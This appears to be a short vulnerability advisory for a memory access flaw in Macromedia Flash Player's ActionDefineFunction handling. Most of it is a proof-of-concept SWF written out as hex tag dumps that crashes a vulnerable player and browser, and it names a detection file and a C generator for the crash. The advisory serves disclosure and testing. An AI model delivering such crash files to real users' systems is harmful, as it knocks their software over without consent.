Macromedia Flash ActionDefineFunction Memory Access Vulnerability

Macromedia Flash ActionDefineFunction Memory Access Vulnerability

The following proof of concept is available:

<swf>

----- [SetBackgroundColor] -----
TagID: 9 (size: 3 (short tag)
- dump ->:
\x43\x02\xff\x00\x00

----- [DoAction] -----
TagID: 12 (size: 60 (short tag)
- dump ->:
\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00
\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43
\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45
\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00

----- [ShowFrame] -----
TagID: 1 (size: 0 (short tag)
- dump ->:
\x40\x00

----- [End] -----
TagID: 0 (size: 0 (short tag)
- dump ->:
\x00\x00

</swf>

The following proof of concept (df.swf) provided by Karma <karma@DesignFolks.com.au> will determine if a vulnerable Flash Player is installed. If the Flash Player is vulnerable, opening the file will crash the browser. Otherwise a yellow image will be displayed.

The 'flash_dos_poc.c' proof of concept exploit by BassReFLeX creates a SWF file sufficient to exploit this issue to crash a vulnerable Flash Player.